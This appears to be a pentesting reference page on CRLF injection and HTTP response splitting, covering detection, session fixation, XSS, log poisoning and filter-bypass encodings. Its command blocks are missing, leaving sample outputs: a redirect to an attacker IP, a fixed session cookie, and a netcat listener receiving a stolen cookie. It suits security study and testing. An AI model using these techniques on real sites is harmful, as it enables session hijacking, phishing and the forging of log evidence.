CRLF Injection
CRLF injection exploits applications that pass unsanitized user input into HTTP response headers. Injecting %0d%0a (URL-encoded carriage return + line feed) lets an attacker insert arbitrary response headers or terminate the header section entirely. A single CRLF adds a new header. A double CRLF (%0d%0a%0d%0a) ends the headers and starts the response body, giving full control over rendered content. Depending on where the injection lands, this enables session fixation, reflected XSS, cache poisoning, and log forgery. Injection points are easiest to find during HTTP header analysis, where you identify parameters that reflect into response headers. Because CRLF can inject a full response body with arbitrary HTML, it chains directly into XSS filter bypass scenarios where traditional reflected XSS vectors are blocked.
Detection
Inject %0d%0a followed by a custom header into parameter values that reflect in response headers. Common injection points are redirect URLs, language or locale parameters that set cookies, and any input the application uses to construct a Location, Set-Cookie, or custom response header.
HTTP/1.1 302 Found Location: http://example.com X-Injected: true Content-Type: text/html
Explain command
| -I | Fetches response headers only, making injected headers easy to spot. |
If X-Injected: true appears as a separate response header, the parameter is vulnerable. The application passes user input into the response without filtering newline characters.
< HTTP/1.1 200 OK < Set-Cookie: lang=en < Set-Cookie: test=injected < Content-Type: text/html
Explain command
| -v | Displays full request and response headers for detailed inspection. |
Automated scanners often miss CRLF injection because the response status code stays normal. Manual review with curl -v or Burp repeater is more reliable for confirming injected headers appear in the response.
HTTP Response Splitting
A single %0d%0a injects one header. A double CRLF (%0d%0a%0d%0a) terminates the header section and starts the response body. Everything after the double CRLF is rendered by the browser as page content.
HTTP/1.1 302 Found Location: http://example.com Set-Cookie: admin=true Content-Type: text/html
Injecting a Location header can redirect the victim to an attacker-controlled server for credential phishing or payload delivery. Browser behavior varies on which Location header it follows when multiples are present.
HTTP/1.1 302 Found Location: Location: http://10.10.14.1/phish Content-Type: text/html
A double CRLF followed by a Content-Type header ensures the browser interprets the injected body as HTML rather than plain text.
HTTP/1.1 302 Found Location: Content-Type: text/html <html><body><h1>Injected Page</h1></body></html>
How the browser handles a split response depends on the server and proxy chain. Some proxies split it into two separate responses, serving the injected body as a response to the next incoming request (HTTP response queue poisoning).
Session Fixation via CRLF
When a CRLF injection exists in a response header, the attacker can inject a Set-Cookie header that forces a known session ID onto the victim. The attack flow: create a session, craft a URL that sets that session cookie via CRLF injection, and send it to the victim. After the victim authenticates, the attacker reuses the same session ID to access the authenticated session.
HTTP/1.1 302 Found Location: http://10.10.10.50:80/ Set-Cookie: PHPSESSID=attacker_known_value Content-Type: text/html
Send this URL to the victim. When they follow the redirect and log in, their browser uses the attacker-set session cookie. After authentication, access the session with the known cookie value.
Explain command
| -b | Sends the fixated session cookie to access the authenticated session. |
Warning
Session fixation only works when the application does not regenerate the session ID after authentication. Most modern frameworks regenerate by default, but custom session handling and older applications often skip this step.
XSS via CRLF
A double CRLF followed by a <script> tag injects JavaScript that executes in the context of the target domain. This gives access to the victim's cookies, session storage, and DOM content for that origin. Because the injection is in the URL or header value, WAFs and input filters that only scan the request body miss it.
The URL-encoded payload decodes to a script that redirects the victim to the attacker's server with their cookies in the query string. Start a listener to capture the incoming request.
Listening on 0.0.0.0 9001 Connection received on 10.10.10.50 48234 GET /?c=PHPSESSID=abc123def456 HTTP/1.1 Host: 10.10.14.1:9001
Explain command
| -lnvp | Starts a listening socket that prints incoming connection data. |
If the session cookie has the HttpOnly flag, document.cookie cannot access it. In that case, use the XSS to perform actions as the victim (password change, data extraction, API calls) rather than stealing the cookie directly.
Log Poisoning
Applications that log user-controlled input (URL parameters, User-Agent, Referer) line by line are vulnerable to log injection via CRLF. Injecting newline characters creates fake log entries that can mislead forensic analysis. If the log viewer renders entries as HTML without sanitization, this also opens a path to stored XSS against administrators.
If the server logs the file parameter value, the injected CRLF starts a new line in the log file. The text after it looks like a legitimate request from 10.10.10.1 as admin, which can obscure real attacker activity during incident response.
If the log management interface renders entries without HTML escaping, the injected <script> tag executes when an administrator views the logs. This turns a CRLF injection into stored XSS with potential access to the admin panel.
Filter Bypass
Applications may filter the standard %0d%0a sequence but miss alternative encodings. The effective bypass depends on how the server normalizes input before placing it in headers.
Double encoding works when the application decodes input twice, which is common behind reverse proxies that decode once before forwarding. The Unicode variants (%e5%98%8a and %e5%98%8d are UTF-8 encodings of U+560A and U+560D) bypass filters that only check for %0d and %0a but are normalized to CR/LF by certain server-side parsers. Test each variant when the standard payload is blocked.
Notice
Modern web frameworks (Django, Rails, Express, Laravel) reject or strip CRLF from header values by default. CRLF injection is most common in custom HTTP handling code, legacy CGI applications, and older server software that builds headers from raw string concatenation.
References
-
OWASP: CRLF InjectionLINK: OWASP: CRLF Injection, owasp.org/www-community/vulnerabilities/CRLF_Injection (opens in new tab)
Injection techniques and mitigation strategies.
-
PayloadsAllTheThings: CRLF InjectionREPO: PayloadsAllTheThings: CRLF Injection, github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CRLF%20Injection/README.md (opens in new tab)
Payload reference and bypass techniques.
-
CWE-113: HTTP Response SplittingCWE: CWE-113: HTTP Response Splitting, cwe.mitre.org/data/definitions/113.html (opens in new tab)
Weakness classification for CRLF in HTTP headers.